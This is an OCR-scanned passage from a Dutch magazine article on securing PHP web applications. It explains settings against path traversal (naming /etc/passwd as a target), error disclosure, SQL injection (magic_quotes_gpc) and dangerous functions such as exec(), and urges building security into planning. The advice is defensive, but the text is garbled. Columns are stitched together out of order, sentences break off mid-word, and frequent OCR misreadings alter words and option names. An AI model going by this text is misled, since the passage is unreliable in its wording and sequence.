rystructuur liggen - net als bij een chroot- 
omgevlng. Het benaderen van submappen 
is natuurlijk wel toegestaan, maar direct 
lezen van bijvoorbeeld /etc/passwd en andere 
geheime gegevens buiten de rootdlrecto- 


en mag geen reden zijn om fouten in webap- 
plicaties dan maar te laten zitten, 

Bewustwording 

Perfecte beveiliging bestaat niet. Het is so¬ 
wieso eerder een continu proces dan een 
toestand. Softwareontwikkelaars werken 
vaak onder hoge tijds- en kostendruk en hun 
prestatie wordt vaak beoordeeld aan de hand 
van de ontwikkeltijd, gebruikersvriendelijk- 
held en lay-out Het is dus verstandig om vei- 
ligheidseisen at in de planningsfase van het 
ontwlkkeltraject van een webapplicatie mee 
te nemen. Sterker nog; ze zouden een ver- 
plicht onderdeel van de speciflcatie moeten 
zijn. Maar in de praktijk worden ze namelijk 
maar al te vaak het kind van de rekening. 

Het is daarom aan te raden om een uitge- 
breid beveillglngsconcept te ontwikkelen, 
vooral als er met persoonsgegevens gewerkt 
wordt, Het is altijd verkeerd om pas zwakke 


ry van de website is zo niet meer mogelijk 
met path traversal. 

display_errors - off maakt het onder 
bepaalde voorwaarden soms lastiger om 
een aanval goed voor te bereiden, Voor 
sommige aanvallen moet je bijvoorbeeld 
het exacte pad van een bestand bij een 
webapplicatie weten. Deze Snformatie kun 
je onder andere ontfutselen aan menlg 
PHP-foutmeldlng. De optie verhlndert dat 
aanvallers doelgerichte foutmeldingen 
kunnen provoceren. 

magic_quotes_gpc ^ on escaped alle 
aanhalingstekens (’), dubbele aanhallngs- 
tekens 0, backslashes (\) en NULL-tekens 
automatisch met een backslash. Hlermee 
kunnen SQL-injectieaanvallen deals wor¬ 
den verhinderd. Overigens bestaan er wel 
mogelljkheden om deze beperking te om- 
zeilen. Bovendien werken een aantal toe- 
passingen niet met deze optie, 

disable_f unctions specificeert een lijst 
van uitgeschakeld PHP-functies, Met name 
PHP-toepassIngen die om veilig heidsrede- 
nen zijn ontwikkeld, gaan met een grote 
boog om potentieel gevaarlijke functies 
als exec() heen. Hierdoor zullen die functies 
meestal geen problemen veroorzaken; de 
in omloop zijnde exploits echter wel. 

sqksafe_mode zorgt dat de aanmefdlngs- 
procedure op een databaseserver speciale 
manier verloopt, in deze modus gebruiken 
de PHP-functies bij het aanmelden bij de 
database uitsluitend de gebruikersnaam 
van het PHP-script. Bij shared-hostingservi¬ 
ces komt de naam van de databasegebrui- 
ker haast noolt overeen met de PHP-ge- 
bruikersnaam, waardoor deze optie zelden 
van pas komt 


punten weg te gaan werken op het moment 
dat die ontdekt worden. De veiligheid van 
een webapplicatie is namelijk sterk afhan- 
kelijk van de tijd tussen het ontdekken van 
een veifigheidsprobieem en het verwljderen 
ervan. (mda) 
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